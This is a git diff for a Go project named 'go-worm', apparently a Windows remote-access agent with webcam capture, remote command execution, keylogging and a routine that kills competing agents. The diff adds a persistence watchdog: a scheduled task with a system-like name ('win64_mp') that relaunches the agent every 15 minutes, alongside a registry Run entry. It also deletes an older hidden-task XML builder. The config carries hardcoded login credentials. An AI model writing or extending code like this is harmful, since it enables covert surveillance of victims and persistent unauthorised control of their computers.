diff --git a/VERSION b/VERSION index 3eefcb9..7dea76e 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -1.0.0 +1.0.1 diff --git a/lib/agent/agent.go b/lib/agent/agent.go index d576869..32161bf 100644 --- a/lib/agent/agent.go +++ b/lib/agent/agent.go @@ -97,6 +97,7 @@ func (a *Agent) Serve() error { mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame) mux.HandleFunc("/api/v1/exec", a.handleExec) mux.HandleFunc("/api/v1/startup", a.handleStartup) + mux.HandleFunc("/api/v1/watchdog", a.handleWatchdog) mux.HandleFunc("/api/v1/settings", a.handleSettings) mux.HandleFunc("/api/v1/input/click", a.handleClick) mux.HandleFunc("/api/v1/input/key", a.handleKey) diff --git a/lib/agent/handlers.go b/lib/agent/handlers.go index 25574d5..7590632 100644 --- a/lib/agent/handlers.go +++ b/lib/agent/handlers.go @@ -55,8 +55,9 @@ func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) { "os": "windows", "architecture": runtime.GOARCH, "user": helpers.Username(), "hostname": host, "uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(), "agent_version": config.Version, "listen_address": a.addr, - "startup_enabled": startup.Enabled(), - "klogging": keylog.Running(), + "startup_enabled": startup.Enabled(), + "watchdog_enabled": startup.WatchdogEnabled(), + "klogging": keylog.Running(), }) } @@ -65,20 +66,48 @@ func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) { case http.MethodPost: if err := startup.Enable(); err != nil { helpers.Log.Printf("startup enable: %v", err) - helpers.WriteError(w, http.StatusInternalServerError, "could not add to startup") + helpers.WriteError(w, http.StatusInternalServerError, err.Error()) return } case http.MethodDelete: if err := startup.Disable(); err != nil { helpers.Log.Printf("startup disable: %v", err) - helpers.WriteError(w, http.StatusInternalServerError, "could not remove from startup") + helpers.WriteError(w, http.StatusInternalServerError, err.Error()) return } default: helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") return } - helpers.WriteJSON(w, http.StatusOK, map[string]any{"startup_enabled": startup.Enabled()}) + helpers.WriteJSON(w, http.StatusOK, persistState()) +} + +func (a *Agent) handleWatchdog(w http.ResponseWriter, r *http.Request) { + switch r.Method { + case http.MethodPost: + if err := startup.EnableWatchdog(); err != nil { + helpers.Log.Printf("watchdog enable: %v", err) + helpers.WriteError(w, http.StatusInternalServerError, err.Error()) + return + } + case http.MethodDelete: + if err := startup.DisableWatchdog(); err != nil { + helpers.Log.Printf("watchdog disable: %v", err) + helpers.WriteError(w, http.StatusInternalServerError, err.Error()) + return + } + default: + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + helpers.WriteJSON(w, http.StatusOK, persistState()) +} + +func persistState() map[string]any { + return map[string]any{ + "startup_enabled": startup.Enabled(), + "watchdog_enabled": startup.WatchdogEnabled(), + } } func (a *Agent) handleSettings(w http.ResponseWriter, r *http.Request) { diff --git a/lib/agent/web/app.js b/lib/agent/web/app.js index 775faa4..137bb8e 100644 --- a/lib/agent/web/app.js +++ b/lib/agent/web/app.js @@ -15,6 +15,9 @@ const startupState = document.getElementById("startup-state"); const startupAdd = document.getElementById("startup-add"); const startupRemove = document.getElementById("startup-remove"); + const watchdogState = document.getElementById("watchdog-state"); + const watchdogEnable = document.getElementById("watchdog-enable"); + const watchdogDisable = document.getElementById("watchdog-disable"); const keylogState = document.getElementById("keylog-state"); const keylogEnable = document.getElementById("keylog-enable"); const keylogDisable = document.getElementById("keylog-disable"); @@ -135,9 +138,11 @@ ["Uptime", `${data.uptime_seconds}s`], ["Local IPs", (data.local_ips || []).join(", ") || "—"], ["Startup", data.startup_enabled ? "enabled" : "disabled"], + ["Watchdog", data.watchdog_enabled ? "enabled" : "disabled"], ["klogging", data.klogging ? "on" : "off"], ]; setStartup(Boolean(data.startup_enabled)); + setWatchdog(Boolean(data.watchdog_enabled)); currentListen = data.listen_address || ""; syncUpdateMeta(); loadSettings().catch((err) => showError(err.message)); @@ -312,6 +317,12 @@ startupRemove.disabled = !enabled; } + function setWatchdog(enabled) { + watchdogState.textContent = enabled ? "Watchdog: enabled" : "Watchdog: disabled"; + watchdogEnable.disabled = enabled; + watchdogDisable.disabled = !enabled; + } + function setKeylog(enabled) { keylogState.textContent = enabled ? "klogging: on" : "klogging: off"; keylogEnable.disabled = enabled; @@ -339,6 +350,15 @@ const res = await api("/api/v1/startup", { method: enabled ? "POST" : "DELETE" }); const data = await res.json(); setStartup(Boolean(data.startup_enabled)); + setWatchdog(Boolean(data.watchdog_enabled)); + loadStatus().catch((err) => showError(err.message)); + } + + async function setWatchdogEnabled(enabled) { + const res = await api("/api/v1/watchdog", { method: enabled ? "POST" : "DELETE" }); + const data = await res.json(); + setStartup(Boolean(data.startup_enabled)); + setWatchdog(Boolean(data.watchdog_enabled)); loadStatus().catch((err) => showError(err.message)); } @@ -729,6 +749,12 @@ startupRemove.addEventListener("click", () => { setStartupEnabled(false).catch((err) => showError(err.message)); }); + watchdogEnable.addEventListener("click", () => { + setWatchdogEnabled(true).catch((err) => showError(err.message)); + }); + watchdogDisable.addEventListener("click", () => { + setWatchdogEnabled(false).catch((err) => showError(err.message)); + }); keylogEnable.addEventListener("click", () => { setKeylogEnabled(true).catch((err) => showError(err.message)); }); diff --git a/lib/agent/web/index.html b/lib/agent/web/index.html index f724392..54f7c32 100644 --- a/lib/agent/web/index.html +++ b/lib/agent/web/index.html @@ -517,6 +517,7 @@ background: rgba(0, 0, 0, 0.2); } .startup-card .meta { flex: 1; min-width: 8rem; font-size: 0.92rem; color: var(--text-secondary); } + .startup-card + .startup-card { margin-top: 0.65rem; } /* —— Tables —— */ .table-wrap { @@ -757,6 +758,11 @@ +
+ Watchdog: — + + +
diff --git a/lib/config/config.go b/lib/config/config.go index f7a11ac..d3ed108 100644 --- a/lib/config/config.go +++ b/lib/config/config.go @@ -35,7 +35,8 @@ const ( LogsSubdir = "logs" ClipboardSubdir = "clipboard" SettingsFileName = "settings.json" - WatchdogTaskName = "win64_mp_watchdog" + WatchdogTaskName = "win64_mp" + WatchdogTaskNameLegacy = "win64_mp_watchdog" DefaultKeylogRetentionDays = 7 AuthUser = "admin" AuthPass = "blueberries" diff --git a/lib/install/install.go b/lib/install/install.go index 3d39778..0661b19 100644 --- a/lib/install/install.go +++ b/lib/install/install.go @@ -44,6 +44,7 @@ func Ensure() error { } hadStartup := startup.Enabled() + hadWatchdog := startup.WatchdogEnabled() takeover(target) if err := replaceExe(current, target); err != nil { return fmt.Errorf("copy to %s: %w", target, err) @@ -53,6 +54,11 @@ func Ensure() error { helpers.Log.Printf("takeover: restore startup: %v", err) } } + if hadWatchdog { + if err := startup.EnableWatchdog(); err != nil { + helpers.Log.Printf("takeover: restore watchdog: %v", err) + } + } return relaunchInstalled(target) } @@ -62,6 +68,9 @@ func takeover(installed string) { if err := startup.Disable(); err != nil { helpers.Log.Printf("takeover: disable old startup: %v", err) } + if err := startup.DisableWatchdog(); err != nil { + helpers.Log.Printf("takeover: disable old watchdog: %v", err) + } if err := instance.KillOtherAgents(); err != nil { helpers.Log.Printf("takeover: kill: %v", err) } diff --git a/lib/openapi/spec.go b/lib/openapi/spec.go index d451771..b8fafc4 100644 --- a/lib/openapi/spec.go +++ b/lib/openapi/spec.go @@ -233,17 +233,33 @@ func Spec() map[string]any { }, "/api/v1/startup": map[string]any{ "post": map[string]any{ - "summary": "Add agent to Windows startup and a 5-minute watchdog task", + "summary": "Add agent to Windows startup (HKCU Run / Task Manager)", "operationId": "enableStartup", "responses": auth(map[string]any{ - "200": okJSON("Startup state", ref("StartupState")), + "200": okJSON("Persistence state", ref("PersistState")), }), }, "delete": map[string]any{ - "summary": "Remove agent from Windows startup and the watchdog task", + "summary": "Remove agent from Windows startup", "operationId": "disableStartup", "responses": auth(map[string]any{ - "200": okJSON("Startup state", ref("StartupState")), + "200": okJSON("Persistence state", ref("PersistState")), + }), + }, + }, + "/api/v1/watchdog": map[string]any{ + "post": map[string]any{ + "summary": "Enable a 15-minute user-level watchdog task", + "operationId": "enableWatchdog", + "responses": auth(map[string]any{ + "200": okJSON("Persistence state", ref("PersistState")), + }), + }, + "delete": map[string]any{ + "summary": "Disable the watchdog scheduled task", + "operationId": "disableWatchdog", + "responses": auth(map[string]any{ + "200": okJSON("Persistence state", ref("PersistState")), }), }, }, @@ -367,16 +383,17 @@ func Spec() map[string]any { "Status": map[string]any{ "type": "object", "properties": map[string]any{ - "os": map[string]string{"type": "string"}, - "architecture": map[string]string{"type": "string"}, - "user": map[string]string{"type": "string"}, - "hostname": map[string]string{"type": "string"}, - "uptime_seconds": map[string]any{"type": "integer", "format": "int64"}, - "local_ips": map[string]any{"type": "array", "items": map[string]string{"type": "string"}}, - "agent_version": map[string]string{"type": "string"}, - "listen_address": map[string]string{"type": "string"}, - "startup_enabled": map[string]any{"type": "boolean"}, - "klogging": map[string]any{"type": "boolean"}, + "os": map[string]string{"type": "string"}, + "architecture": map[string]string{"type": "string"}, + "user": map[string]string{"type": "string"}, + "hostname": map[string]string{"type": "string"}, + "uptime_seconds": map[string]any{"type": "integer", "format": "int64"}, + "local_ips": map[string]any{"type": "array", "items": map[string]string{"type": "string"}}, + "agent_version": map[string]string{"type": "string"}, + "listen_address": map[string]string{"type": "string"}, + "startup_enabled": map[string]any{"type": "boolean"}, + "watchdog_enabled": map[string]any{"type": "boolean"}, + "klogging": map[string]any{"type": "boolean"}, }, }, "FileItem": map[string]any{ @@ -437,9 +454,12 @@ func Spec() map[string]any { "stderr": map[string]string{"type": "string"}, }, }, - "StartupState": map[string]any{ - "type": "object", - "properties": map[string]any{"startup_enabled": map[string]any{"type": "boolean"}}, + "PersistState": map[string]any{ + "type": "object", + "properties": map[string]any{ + "startup_enabled": map[string]any{"type": "boolean"}, + "watchdog_enabled": map[string]any{"type": "boolean"}, + }, }, "Settings": map[string]any{ "type": "object", diff --git a/lib/openapi/spec_test.go b/lib/openapi/spec_test.go index d60ff2a..4689825 100644 --- a/lib/openapi/spec_test.go +++ b/lib/openapi/spec_test.go @@ -11,8 +11,8 @@ func TestSpec(t *testing.T) { if !ok || len(paths) < 12 { t.Fatalf("expected at least 12 paths, got %d", len(paths)) } - if _, ok := paths["/api/v1/status"]; !ok { - t.Fatal("missing /api/v1/status") + if _, ok := paths["/api/v1/watchdog"]; !ok { + t.Fatal("missing /api/v1/watchdog") } if _, ok := spec["security"]; !ok { t.Fatal("missing security") diff --git a/lib/startup/startup.go b/lib/startup/startup.go index 90f008f..dd7f4a1 100644 --- a/lib/startup/startup.go +++ b/lib/startup/startup.go @@ -33,36 +33,38 @@ func Enable() error { if err := k.SetStringValue(config.StartupValueName, command); err != nil { return err } - return enableWatchdog() + return nil } -// SyncInstalledPath rewrites an existing Run entry to the AppData install path. +// SyncInstalledPath rewrites existing Run/watchdog entries to the AppData path. func SyncInstalledPath() error { - if !Enabled() { - return nil + if Enabled() { + if err := Enable(); err != nil { + return err + } } - return Enable() + if WatchdogEnabled() { + if err := EnableWatchdog(); err != nil { + return err + } + } + return nil } func Disable() error { - var regErr error k, err := registry.OpenKey(registry.CURRENT_USER, config.StartupRunKey, registry.SET_VALUE) if err != nil { - if !errors.Is(err, registry.ErrNotExist) { - regErr = err - } - } else { - err = k.DeleteValue(config.StartupValueName) - _ = k.Close() - if err != nil && !errors.Is(err, registry.ErrNotExist) { - regErr = err + if errors.Is(err, registry.ErrNotExist) { + return nil } + return err } - taskErr := disableWatchdog() - if regErr != nil { - return regErr + defer k.Close() + err = k.DeleteValue(config.StartupValueName) + if errors.Is(err, registry.ErrNotExist) { + return nil } - return taskErr + return err } func installedCommandLine() (string, error) { diff --git a/lib/startup/stub.go b/lib/startup/stub.go index 842cc74..a153ce2 100644 --- a/lib/startup/stub.go +++ b/lib/startup/stub.go @@ -8,4 +8,10 @@ func Enable() error { return nil } func Disable() error { return nil } +func WatchdogEnabled() bool { return false } + +func EnableWatchdog() error { return nil } + +func DisableWatchdog() error { return nil } + func SyncInstalledPath() error { return nil } diff --git a/lib/startup/taskxml.go b/lib/startup/taskxml.go deleted file mode 100644 index a9706b6..0000000 --- a/lib/startup/taskxml.go +++ /dev/null @@ -1,71 +0,0 @@ -package startup - -import ( - "encoding/xml" - "strings" -) - -const watchdogArg = "-ensure" - -// watchdogTaskXML builds a Task Scheduler 2.0 XML action with Command and -// Arguments as separate fields. Paths must not be wrapped in extra quotes — -// schtasks /TR quoting is what made the watchdog flash and exit. -func watchdogTaskXML(exe string) string { - exe = strings.Trim(exe, `"`) - var b strings.Builder - b.WriteString(``) - b.WriteByte('\n') - b.WriteString(``) - b.WriteString(`win64_mp watchdog`) - b.WriteString(``) - b.WriteString(`PT5Mfalse`) - b.WriteString(`2000-01-01T00:00:00`) - b.WriteString(`true`) - b.WriteString(``) - b.WriteString(``) - b.WriteString(`InteractiveToken`) - b.WriteString(`LeastPrivilege`) - b.WriteString(``) - b.WriteString(``) - b.WriteString(`IgnoreNew`) - b.WriteString(`false`) - b.WriteString(`false`) - b.WriteString(`true`) - b.WriteString(`true`) - b.WriteString(`false`) - b.WriteString(`true`) - b.WriteString(`true`) - b.WriteString(`true`) - b.WriteString(`PT0S`) - b.WriteString(`7`) - b.WriteString(``) - b.WriteString(``) - b.WriteString(``) - b.WriteString(xmlEscape(exe)) - b.WriteString(``) - b.WriteString(``) - b.WriteString(watchdogArg) - b.WriteString(``) - if dir := winDir(exe); dir != "" { - b.WriteString(``) - b.WriteString(xmlEscape(dir)) - b.WriteString(``) - } - b.WriteString(``) - return b.String() -} - -func xmlEscape(s string) string { - var b strings.Builder - _ = xml.EscapeText(&b, []byte(s)) - return b.String() -} - -func winDir(p string) string { - p = strings.TrimRight(p, `/\`) - i := strings.LastIndexAny(p, `/\`) - if i <= 0 { - return "" - } - return p[:i] -} diff --git a/lib/startup/taskxml_test.go b/lib/startup/taskxml_test.go deleted file mode 100644 index 0bab7e9..0000000 --- a/lib/startup/taskxml_test.go +++ /dev/null @@ -1,51 +0,0 @@ -package startup - -import ( - "strings" - "testing" -) - -func TestWatchdogTaskXMLSeparatesCommandAndArgs(t *testing.T) { - t.Parallel() - exe := `C:\Users\John Doe\AppData\Roaming\win64_mp\win64_mp.exe` - xml := watchdogTaskXML(exe) - - if strings.Contains(xml, `"`+exe+`"`) || strings.Contains(xml, `\"`) { - t.Fatalf("task XML must not quote the executable (schtasks /TR quoting broke launch):\n%s", xml) - } - if !strings.Contains(xml, ""+exe+"") { - t.Fatalf("Command missing raw path:\n%s", xml) - } - if !strings.Contains(xml, "-ensure") { - t.Fatalf("Arguments missing -ensure:\n%s", xml) - } - if !strings.Contains(xml, "C:\\Users\\John Doe\\AppData\\Roaming\\win64_mp") { - t.Fatalf("WorkingDirectory missing:\n%s", xml) - } - if !strings.Contains(xml, "true") { - t.Fatalf("task must be hidden:\n%s", xml) - } - if !strings.Contains(xml, "true") { - t.Fatalf("unified scheduler missing:\n%s", xml) - } -} - -func TestWatchdogTaskXMLEscapesAmpersand(t *testing.T) { - t.Parallel() - exe := `C:\Users\A&B\win64_mp.exe` - xml := watchdogTaskXML(exe) - if !strings.Contains(xml, `C:\Users\A&B\win64_mp.exe`) { - t.Fatalf("expected escaped ampersand:\n%s", xml) - } -} - -func TestWatchdogTaskXMLStripsCallerQuotes(t *testing.T) { - t.Parallel() - xml := watchdogTaskXML(`"C:\win64_mp.exe"`) - if strings.Contains(xml, `"C:\win64_mp.exe"`) { - t.Fatalf("left quotes in XML:\n%s", xml) - } - if !strings.Contains(xml, "C:\\win64_mp.exe") { - t.Fatalf("Command not unquoted:\n%s", xml) - } -} diff --git a/lib/startup/trcmdline.go b/lib/startup/trcmdline.go new file mode 100644 index 0000000..7c9638b --- /dev/null +++ b/lib/startup/trcmdline.go @@ -0,0 +1,23 @@ +package startup + +import ( + "fmt" + "strings" +) + +const ensureArg = "-ensure" + +// ensureTaskTR is the schtasks /TR task action: " -ensure". +func ensureTaskTR(exe string) string { + return strings.Trim(exe, `"`) + " " + ensureArg +} + +// schtasksCreateCmdLine is the full Windows command line for schtasks /Create. +// ponytail: SysProcAttr.CmdLine bypasses Go's /TR quoting bugs. +func schtasksCreateCmdLine(taskName, tr string) string { + return fmt.Sprintf( + `schtasks.exe /Create /TN %s /SC MINUTE /MO 15 /RL LIMITED /F /TR "%s"`, + taskName, + tr, + ) +} diff --git a/lib/startup/trcmdline_test.go b/lib/startup/trcmdline_test.go new file mode 100644 index 0000000..869dc85 --- /dev/null +++ b/lib/startup/trcmdline_test.go @@ -0,0 +1,39 @@ +package startup + +import ( + "strings" + "testing" +) + +func TestEnsureTaskTR(t *testing.T) { + t.Parallel() + cases := []struct { + exe string + want string + }{ + {`C:\Users\me\AppData\Roaming\win64_mp\win64_mp.exe`, `C:\Users\me\AppData\Roaming\win64_mp\win64_mp.exe -ensure`}, + {`C:\Users\John Doe\win64_mp.exe`, `C:\Users\John Doe\win64_mp.exe -ensure`}, + {`"C:\win64_mp.exe"`, `C:\win64_mp.exe -ensure`}, + } + for _, tc := range cases { + if got := ensureTaskTR(tc.exe); got != tc.want { + t.Fatalf("ensureTaskTR(%q) = %q, want %q", tc.exe, got, tc.want) + } + } +} + +func TestSchtasksCreateCmdLine(t *testing.T) { + t.Parallel() + tr := ensureTaskTR(`C:\Users\John Doe\win64_mp.exe`) + got := schtasksCreateCmdLine("win64_mp", tr) + if !strings.Contains(got, `/TN win64_mp`) { + t.Fatalf("missing task name: %q", got) + } + if !strings.Contains(got, `/SC MINUTE /MO 15 /RL LIMITED`) { + t.Fatalf("missing schedule: %q", got) + } + wantTR := `/TR "C:\Users\John Doe\win64_mp.exe -ensure"` + if !strings.Contains(got, wantTR) { + t.Fatalf("TR quoting wrong:\n got: %q\nwant: %q", got, wantTR) + } +} diff --git a/lib/startup/watchdog.go b/lib/startup/watchdog.go index b9a46c7..35deefc 100644 --- a/lib/startup/watchdog.go +++ b/lib/startup/watchdog.go @@ -4,41 +4,61 @@ package startup import ( "fmt" - "os" "os/exec" "strings" - "unicode/utf16" "tea.chunkbyte.com/kato/go-worm/lib/config" "tea.chunkbyte.com/kato/go-worm/lib/helpers" ) -func enableWatchdog() error { +func WatchdogEnabled() bool { + return taskExists(config.WatchdogTaskName) || taskExists(config.WatchdogTaskNameLegacy) +} + +func EnableWatchdog() error { exe, err := config.InstalledExe() if err != nil { return err } - tmp, err := os.CreateTemp("", "win64_mp-task-*.xml") - if err != nil { + if err := runSchtasksCmdLine(schtasksCreateCmdLine(config.WatchdogTaskName, ensureTaskTR(exe))); err != nil { return err } - path := tmp.Name() - defer os.Remove(path) - if err := tmp.Close(); err != nil { - return err - } - if err := os.WriteFile(path, utf16LE(watchdogTaskXML(exe)), 0o600); err != nil { - return err - } - return runSchtasks("/Create", "/TN", config.WatchdogTaskName, "/XML", path, "/F") + _ = runSchtasks("/Delete", "/TN", config.WatchdogTaskNameLegacy, "/F") + return nil } -func disableWatchdog() error { - err := runSchtasks("/Delete", "/TN", config.WatchdogTaskName, "/F") - if err != nil && strings.Contains(strings.ToLower(err.Error()), "cannot find") { - return nil +func DisableWatchdog() error { + var first error + for _, name := range []string{config.WatchdogTaskName, config.WatchdogTaskNameLegacy} { + err := runSchtasks("/Delete", "/TN", name, "/F") + if err == nil || taskNotFound(err) { + continue + } + if first == nil { + first = err + } } - return err + return first +} + +func taskExists(name string) bool { + return runSchtasks("/Query", "/TN", name) == nil +} + +func runSchtasksCmdLine(cmdLine string) error { + cmd := exec.Command("schtasks") + attr := helpers.HiddenSysProcAttr() + attr.CmdLine = cmdLine + cmd.SysProcAttr = attr + out, err := cmd.CombinedOutput() + if err != nil { + msg := strings.TrimSpace(string(out)) + if msg == "" { + msg = err.Error() + } + return fmt.Errorf("schtasks: %s", msg) + } + return nil } func runSchtasks(args ...string) error { @@ -55,12 +75,6 @@ func runSchtasks(args ...string) error { return nil } -func utf16LE(s string) []byte { - u := utf16.Encode([]rune(s)) - out := make([]byte, 0, 2+len(u)*2) - out = append(out, 0xFF, 0xFE) - for _, r := range u { - out = append(out, byte(r), byte(r>>8)) - } - return out +func taskNotFound(err error) bool { + return strings.Contains(strings.ToLower(err.Error()), "cannot find") }